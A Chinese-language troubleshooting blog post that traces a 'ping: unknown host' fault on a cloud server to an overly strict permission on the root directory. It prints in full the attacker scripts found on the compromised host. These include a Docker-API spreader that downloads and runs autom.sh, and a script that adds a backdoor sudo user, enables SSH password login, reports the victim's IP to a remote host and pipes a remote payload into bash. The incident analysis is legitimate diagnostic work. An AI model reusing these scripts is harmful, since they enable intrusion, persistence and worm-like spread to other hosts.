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摘要： ping 域名提示 unknown host，ping ip 则可以通，ping 的时候抓包没有解析的包出去，是解析的问题吗？
背景：
某客户的 ECS，ping 域名提示 unknown host，ping ip 则可以通，ping 的时候抓包没有解析的包出去，是解析的问题吗？1，测试 ping 域名以及抓包发现没有 dns 的解析包出去
# ping www.baidu.com -c 1
ping: unknown host www.baidu.com
# tcpdump -i any port 53 -nnvv
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
2，测试 ping ip dig getent 等工作正常
# ping -c 1 115.239.210.27
PING 115.239.210.27 (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.87 ms
--- 115.239.210.27 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.875/1.875/1.875/0.000 ms
# getent hosts www.baidu.com
115.239.211.112 www.a.shifen.com www.baidu.com
115.239.210.27 www.a.shifen.com www.baidu.com
# dig www.baidu.com +short
www.a.shifen.com.
115.239.210.27
115.239.211.1123，通过上述的测试可以确定，并非 dns 工作出现了问题，而是 ping 本身出现了问题
4，通过 strace 跟踪看下 ping 命令在运行的过程中加载文件是否有问题？
# strace -e open ping www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
......
open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
ping: unknown host www.baidu.com
+++ exited with 2 +++
正常的对比 (版本不同有差异)
# strace -e open ping -c 1 www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcrypto.so.10", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
.......5, 提取所有的 Permission denied 的文件，查看权限（被我精简了一些）
# strace -e open -o p.out ping www.baidu.com |grep -i "Permission denied" p.out| awk -F "\\\"" '{print $2}'|xargs stat
File:‘/usr/lib/locale/locale-archive’Size: 106065056 Blocks: 207096 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 132883 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:46:34.523000000 +0800
Modify: 2015-07-13 15:21:14.804155630 +0800
Change: 2015-07-13 15:21:14.804155630 +0800
Birth: -
File:‘/usr/share/locale/locale.alias’Size: 2502 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 132816 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:48:09.380738442 +0800
Modify: 2015-03-06 05:18:56.000000000 +0800
Change: 2015-07-13 15:21:09.324089405 +0800
Birth: -
File:‘/usr/lib64/gconv/gconv-modules.cache’Size: 26254 Blocks: 56 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 394951 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:46:34.878000000 +0800
Modify: 2015-07-13 15:21:15.860168393 +0800
Change: 2015-07-13 15:21:15.860168393 +0800
Birth: -
File:‘/usr/lib64/gconv/gconv-modules’Size: 56377 Blocks: 112 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 394941 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2015-07-13 15:21:15.857168356 +0800
Modify: 2015-03-06 05:18:55.000000000 +0800
Change: 2015-07-13 15:21:15.510164163 +0800
Birth: -
File:‘/etc/resolv.conf’Size: 109 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 660033 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:50:51.650325504 +0800
Modify: 2019-05-10 21:47:49.650000000 +0800
Change: 2019-05-10 21:47:49.650000000 +0800
Birth: -
File:‘/etc/nsswitch.conf’Size: 1728 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 658832 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:47:44.965000000 +0800
Modify: 2015-07-13 15:21:28.905326045 +0800
Change: 2015-07-13 15:21:28.905326045 +0800
Birth: -
File:‘/etc/ld.so.cache’Size: 44226 Blocks: 88 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 658829 Links: 1
Access: (0644/-rw-r--r--) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:46:33.738000000 +0800
Modify: 2019-03-22 00:16:26.262531411 +0800
Change: 2019-03-22 00:16:26.262531411 +0800
Birth: -
File:‘/lib64/libnss_dns.so.2’->‘libnss_dns-2.17.so’Size: 18 Blocks: 0 IO Block: 4096 symbolic link
Device: fd01h/64769d Inode: 151673 Links: 1
Access: (0777/lrwxrwxrwx) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800
Birth: -
File:‘/usr/lib64/libnss_dns.so.2’->‘libnss_dns-2.17.so’Size: 18 Blocks: 0 IO Block: 4096 symbolic link
Device: fd01h/64769d Inode: 151673 Links: 1
Access: (0777/lrwxrwxrwx) Uid: (0/ root) Gid: (0/ root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800
Birth: -6，对比文件权限也没有发现明显的异常，我不禁有点麻爪，陷入深深的思考中
7，尝试往被黑的方向排查，校验 rpm 包，替换 ping 命令，以及检查入侵痕迹
# for i in $(rpm -qa);do rpm --verify $i ||echo $i ;done|grep bin |grep -v "node_modules"
S.5...... /usr/bin/git
S.5...... /usr/bin/git-receive-pack
S.5...... /usr/bin/git-shell
S.5...... /usr/bin/git-upload-archive
S.5...... /usr/bin/git-upload-pack
# lsmod
Module Size Used by
tcp_diag 12591 0
inet_diag 18543 1 tcp_diag
dm_mirror 22135 0
......
ata_piix 35038 0
i2c_core 40325 3 drm,i2c_piix4,drm_kms_helper
libata 218854 3 pata_acpi,ata_generic,ata_piix命令，进程，module 都没有明显异常
8，重新回到问题本身，权限访问有问题，因此到根目录下，挨个看权限
# ls -l
total 136
-rwxrwxrwx 1 root root 1963 Feb 27 03:38 autom.sh
lrwxrwxrwx. 1 root root 7 Nov 21 2014 bin -> usr/bin
dr-xr-xr-x. 4 root root 4096 May 10 21:47 boot
drwxr-xr-x 19 root root 3040 May 10 21:50 dev
drwxr-xr-x. 102 root root 12288 May 10 21:50 etc
drwxr-xr-x. 8 root root 4096 Mar 22 00:15 home
lrwxrwxrwx. 1 root root 7 Nov 21 2014 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Nov 21 2014 lib64 -> usr/lib64
drwxrwxrwx 2 root root 4096 Jan 29 17:57 logs
drwx------. 2 root root 16384 Nov 22 2014 lost+found
drwxr-xr-x. 2 root root 4096 Jun 10 2014 media
drwxr-xr-x. 3 root root 4096 Oct 23 2015 mnt
lrwxrwxrwx 1 root root 9 Oct 23 2015 opt -> /mnt/opt/
drwxrwxr-x 3 root root 4096 Oct 9 2018 path
dr-xr-xr-x 93 root root 0 May 10 21:50 proc
dr-xr-x---. 30 root root 4096 May 10 23:36 root
drwxr-xr-x 30 root root 840 May 10 21:51 run
lrwxrwxrwx. 1 root root 8 Nov 21 2014 sbin -> usr/sbin
drwxrwxr-x 6 root root 4096 Jan 29 17:54 shell
drwxrwxr-x 7 root root 4096 Jan 29 20:20 springbootdemo2
drwxr-xr-x. 2 root root 4096 Jun 10 2014 srv
dr-xr-xr-x 13 root root 0 May 11 2019 sys
-rwxrwxrwx 1 root root 356 Nov 1 2018 test1.sh
-rwxrwxrwx 1 root root 127 Nov 1 2018 test2.sh
drwxrwxrwt. 26 root root 40960 May 11 00:10 tmp
drwxrwxr-x 3 root root 4096 Dec 22 14:48 Users
drwxr-xr-x. 14 root root 4096 Aug 6 2018 usr
drwxr-xr-x. 23 root root 4096 May 6 11:31 var9，对比权限没有发现问题，发现了几个脚本，看看脚本是做什么的
# cat test1.sh test2.sh
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
echo NOW WORKING ON $HOSTLINE
docker -H tcp://$HOSTLINE run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "yum install wget -y;apt-get install wget -y;wget http://51.*.*.146/autom.sh -O /autom.sh;chmod 777 /autom.sh;sh /autom.sh"
echo DONE WITH $HOSTLINE
sed -i '1d' $1
done <$1
-----------------
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
sh test1.sh $1 & sleep 7; sed -i '1d' $1;
done <$1
-----------------
# cat autom.sh
#!/bin/sh
useradd -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
adduser -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
usermod -aG sudoers akay;
usermod -aG root akay;
sudo adduser akay sudo;
echo 'akay ALL=(ALL:ALL) ALL' >> /etc/sudoers;
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
curl icanhazip.com >/tmp/myip.txt
ip=$(cat /tmp/myip.txt)
curl http://51.*.*.146/ip.php?ip=$ip
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
systemctl restart sshd;
systemctl restart ssh;
apt-get install screen -y
yum install screen -y
if [$(dpkg-query -W -f='${Status}' systemd 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [$(dpkg-query -W -f='${Status}' masscan 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
apt-get install masscan -y;
yum install masscan -y;
fi;
if [$(dpkg-query -W -f='${Status}' iproute2 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;
curl -s http://51.*.*.146/logo9.jpg | bash -s
wget http://51.*.*.146/test1.sh -O test1.sh;
wget http://51.*.*.146/test2.sh -O test2.sh;
#wget http://51.*.*.146/scanner.sh -O scanner.sh;
sleep 2s;
chmod 777 test1.sh;
chmod 777 test2.sh;
sleep 2s;
killall xmrig;
killall xm;
killall proc;
killall minergate-cli;
killall xmr-stak;
pkill -f xmrig;
pkill -f xmr-stak;
pkill -f xm;
kill -9 xmrig;
kill -9 xmr-stak;
kill -a xmrig;
kill -a xmr-stak;
kill -a xm;
sudo killall minergate-cli;
sudo kill -9 minergate-cli;
sudo pkill -f minergate-cli;
sudo killall proc;
sudo kill -9 proc;
sudo pkill -f proc;
sudo killall xmrig;
sudo killall xmr-stak;
sudo pkill -f xmrig;
sudo pkill -f xmr-stak;
sudo kill -9 xmrig;
sudo kill -9 xmr-stak;
sudo kill -a xmrig;
sudo kill -a xmr-stak;
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl disable bashd.service;
#sudo sh scanner.sh &10，原来真的被黑了，建议客户购买安全应急服务期间，抱着研究的目的继续看 ping 的问题
11，灵光一闪，根目录自身是什么权限？（不用纠结时间，为了写这篇文章我重新做了很多测试）
有问题的机器
# ls -ld /
dr--------. 22 root root 4096 May 10 21:47 /
正常的机器
# ls -ld /
dr-xr-xr-x. 19 root root 4096 Apr 30 17:33 /
# chmod 555 /
# ping -c 2 www.baidu.com
PING www.a.shifen.com (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.84 ms
64 bytes from 115.239.210.27: icmp_seq=2 ttl=55 time=1.86 ms
--- www.a.shifen.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.842/1.854/1.866/0.012 ms大功告成~！
本文作者：牧原
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2019-05-13
